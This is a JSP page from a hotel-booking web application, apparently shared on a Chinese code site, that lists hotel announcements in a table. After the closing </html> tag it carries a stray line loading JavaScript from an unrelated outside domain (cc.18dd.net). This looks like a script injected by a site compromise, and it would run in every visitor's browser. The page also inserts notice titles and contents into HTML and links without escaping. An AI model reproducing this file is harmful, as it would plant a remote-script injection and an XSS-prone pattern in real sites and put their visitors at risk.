lenotice.jsp
来自「用户的注册 用户的登陆 发布用户的相关信息 浏览网站介绍的其他酒店的」· JSP 代码 · 共 96 行
JSP
96 行
<%@ page contentType="text/html; charset=gb2312" %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<html>
<head>
<title>
浏览酒店公告
</title>
<link href="css/hotel.css" rel="stylesheet">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
.STYLE5 {font-size: 16px}
-->
</style>
</head>
<body bgcolor="#ffffff">
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td><jsp:include page="topuser.jsp"/></td>
</tr>
<tr>
<td><table width="760" border="0" cellpadding="0" cellspacing="0">
<tr>
<td height="13" colspan="3"> </td>
</tr>
<tr>
<td width="2" height="24"> </td>
<td width="756"><jsp:include flush="" page="banneruser.jsp"/></td>
<td> </td>
</tr>
<tr>
<td height="10" colspan="3"> </td>
</tr>
<tr>
<td colspan="3"><table width="760" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="2"> </td>
<td><table width="756" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="207" height="360" valign="top"><jsp:include flush="" page="leftuser.jsp"/></td>
<td valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td height="40" colspan="3" align="center"><span class="STYLE5">浏览酒店公告</span></td>
</tr>
<tr>
<td width="8" height="236" valign="top"> </td>
<td width="534" valign="top"><form name="form1" method="post" action="">
<table width="100%" border="0" cellpadding="0" class="tableBorder_LTR_dashed"cellspacing="0">
<tr>
<td width="20%" height="31" align="center">标题</td>
<td width="60%" align="center">内容</td>
<td align="center"><a href="noticeenterservlet"></a>发表时间</td>
</tr>
<c:forEach var="notice" items="${requestScope.list}">
<c:if test="${!empty notice}">
<c:set var="tag" value="true" scope="page"/>
</c:if>
<tr>
<td height="26" align="center">${notice.title}</td>
<td height="26" align="center"><a href="delenternoticeservlet?nid=${notice.id}"></a><a href="updateenternoticeserlvet?hid=${notice.id}&title=${notice.title}&content=${notice.content}"></a>${notice.content}</td>
<td height="26" align="center">${notice.time}</td>
</tr>
</c:forEach>
<c:choose>
<c:when test="${pageScope.tag==true}">
<tr>
<td height="26" colspan="3" align="center">${requestScope.str}</td>
</tr>
</c:when>
<c:otherwise>
<tr>
<td height="26" colspan="3" align="center">没有任何记录</td>
</tr>
</c:otherwise>
</c:choose>
</table>
</form></td>
<td width="7" valign="top"> </td>
</tr>
</table></td>
</tr>
</table></td>
<td width="2"> </td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
<tr>
<td><jsp:include page="Copyright.jsp"/></td>
</tr>
</table>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?